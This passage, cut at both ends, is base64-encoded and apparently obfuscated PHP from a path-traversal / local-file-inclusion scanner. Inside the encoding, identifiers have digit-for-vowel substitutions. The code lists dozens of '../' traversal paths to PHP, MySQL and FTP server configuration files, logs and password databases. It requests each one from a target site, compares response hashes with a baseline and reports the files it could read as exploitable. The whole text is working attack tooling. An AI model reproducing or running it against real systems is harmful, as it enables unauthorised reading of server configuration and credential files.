sIA0KICAgICAgICAgICAgYWUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHB1L2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgICRsZjRteXNxbCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtYjRuLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQ1cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL215c3FsL215c3FsLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtc2wydy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2w0Yi9teXNxbC9teS5jbmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvbXlzcWwvbXkuY25mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9teS5jbmYiLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAgJGxmNGZ0cCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2wyZ3MvcHIyZnRwZC5zeXN0NW0ubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMmZ0cC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdmhjc2EvcHIyZnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcHIyZnRwZC9tMmQzbDVzLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3ZzZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdnNmdHBkLmNocjIydF9sNHN0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC92c2Z0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy92c2Z0cGQvdnNmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ZzZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9jaHIyMnRVczVycyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3hmNXJsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyLzFkbS9sMmcveGY1cmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdzMtZnRwZC9mdHAxY2M1c3MiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwaDJzdHMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwM3M1cnMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjUtZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjUtZnRwZC9wM3I1LWZ0cGQucGRiIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjVmdHBkLnAxc3N3ZCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjVmdHBkLnBkYiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvZnRwL3AzcjUtZnRwZC8iLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3AycnRzL241dC9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb3UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9wa2dzcmMvbjV0L3AzcjVmdHBkLyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9pID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvYzJudHI0Yi9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNS1mdHBkL3AzcjUtZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy9wM3I1LWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvZnRwLXByMnh5L2Z0cC1wcjJ4eS5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHAtcHIyeHkiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHBsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2wyZ3IydDF0NS5kL2Z0cCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHVvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvZnRwY2hyMjJ0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdXUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9mdHBoMnN0cyIuJGJ5dDU2LiIiKTsgDQogICAgICAgICANCiAgDQogICAgICAgICAkeCA9IDY7IA0KICAgICAgICAgNGYgKCAkdHlwNSA9PSA2ICkgeyANCiAgICAgICAgICAgICRyNXM2ID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdCk7IA0KICAgICAgICAgICAgJHI1c2EgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0YSk7IA0KICAgICAgICAgICAgJHJoMXNoNiA9IG1kaSgkcjVzNik7IA0KICAgICAgICAgICAgJHJoMXNoYSA9IG1kaSgkcjVzYSk7IA0KICAgICAgICAgICAgNGYgKCRyaDFzaDYgIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRXhwbDI0dDFibDUhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjR0NXN0LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aDRsNSgkbGY0MWNjNXNzWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcjVzbyA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNDFjYzVzc1skeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDFjYzVzc1skeF0uIlwiPiIuJHQxcmc1dC4iIi4kbGY0MWNjNXNzWyR4XS4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDVsczUgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J3I1ZCc+WyFdIEYxNGw1ZCE8L2YybnQ+Ii4kdDFyZzV0LiIiLiRsZjQxY2M1c3NbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gYSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGMybmY0Z1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRjMm5mNGdbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRjMm5mNGdbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGMybmY0Z1skeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0YzJuZjRnWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IG8gKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjQ1cnIyclskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjQ1cnIyclskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDVycjJyWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjQ1cnIyclskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0NXJyMnJbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gdSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNHBocDRuNFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwaHA0bjRbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwaHA0bjRbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNHBocDRuNFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cGhwNG40WyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IGkgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjRteXNxbFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRteXNxbFskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNG15c3FsWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjRteXNxbFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0bXlzcWxbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gZSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGZ0cFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRmdHBbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRmdHBbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGZ0cFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0ZnRwWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQo0ZiAoICR0eXA1ID09IDcgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iO3sgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwcjJjNW52KTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkc